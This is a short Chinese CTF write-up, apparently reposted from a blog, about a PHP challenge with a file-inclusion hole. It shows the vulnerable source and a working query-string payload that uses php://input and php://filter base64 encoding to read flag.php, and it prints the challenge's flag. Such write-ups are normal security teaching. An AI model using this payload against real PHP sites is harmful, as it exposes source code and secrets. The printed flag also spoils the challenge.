题目场景
分析代码
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET["file1"]) && isset($_GET["file2"])) { $file1 = $_GET["file1"]; $file2 = $_GET["file2"]; if(!empty($file1) && !empty($file2)) { if(file_get_contents($file2) === "hello ctf") //要求返回值为hello ctf { include($file1); } } else die("NONONO"); } ## 解决思路 文件包含漏洞位于file1与file2两个变量中。其中,file2被放入了file_get_contents函数中,并要求返回值为hello ctf,我们可以用php://input来绕过;而file1被放入include函数中,并且根据题目提示,我们应该获取当前目录下flag.php的文件内容。因此我们可以使用php://filter伪协议来读取源代码。最终可以得到flag.php经过Base64编码后的结果 ``` ?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input ``` ## base64解码 ## 找到flag cyberpeace{7eaf71673582b983c07fabf14e1852b0}
本文转载自: https://blog.csdn.net/lyshark_lyshark/article/details/126799169
版权归原作者 「已注销」 所有, 如有侵权,请联系我们删除。
版权归原作者 「已注销」 所有, 如有侵权,请联系我们删除。